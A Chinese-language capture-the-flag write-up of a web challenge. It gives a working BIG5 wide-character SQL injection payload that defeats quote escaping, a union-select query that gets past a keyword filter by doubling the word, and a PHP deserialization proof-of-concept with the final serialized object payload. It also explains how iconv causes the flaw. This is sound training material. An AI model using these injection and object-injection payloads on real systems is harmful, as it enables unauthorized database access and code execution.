0x00 分析

WEB就做了3道,还是太菜.

挑一道记录下,留个纪念.

题目明确说了是注入,测试发现对单引号进行了转义.这时候要么是无闭合的注入,要么就是宽字符了.

测试之后都行不通.

右键源码发现了hint,提示了”BIG5”.

当时做的时候没有反应过来具体是啥问题,但肯定和编码有关,所以就FUZZ了下.

还真找到了能吃掉单引号的payload.

1
%ce%b1' or 1%23

然后尝试注出数据,发现把union替空了,利用双写绕过.

1
http://116.85.48.105:5033/c09764a2-8d31-4643-907a-5d663b9348dc/well/getmessage/1%ce%b1' ununionion select 1,concat(id,0x7e,pattern,0x7e,action,0x7e,rulepass),3 from route_rules%23

在pattern字段里翻到了一个css文件,下载后改后缀解压,得到源码.

貌似是自己写的个小框架,源码比较多.

但是漏洞很明显,

Justtry类的try()方法存在反序列化.

然后就去看怎么拿到flag.

在Test类的getflag()方法里会直接输出flag,所以找出调用链就行了.

Test类的析构函数调用了getflag(),所以反序列化Test类就行了.

POC.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test
{
public $user_uuid;
public $fl;
}
class Flag
{
public $sql;
}
class SQL
{
}
$a = new Test();
$a->user_uuid = 'c09764a2-8d31-4643-907a-5d663b9348dc';
$a->fl = new Flag();
$a->fl->sql = new SQL();
echo $se = serialize($a);

最后得到的payload还要手动加上命名空间,并且修改长度:

1
qwer=O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"c09764a2-8d31-4643-907a-5d663b9348dc";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":0:{}}}

post过去就能拿到flag.

最后,再回过头来看看这个注入到底怎么产生的.

在Well.php中,

原来是使用iconv()函数进行了编码转换.

UTF8中的α字符,HEX值为ceb1,转换成BIG5后,HEX值为a35c,而5c就是一个反斜线,所以吃掉了后面的转义反斜线.

0x01 总结

  1. 反序列化的要领: 控制对象属性; 调用魔术方法.
  2. 序列化字符串手动加命名空间.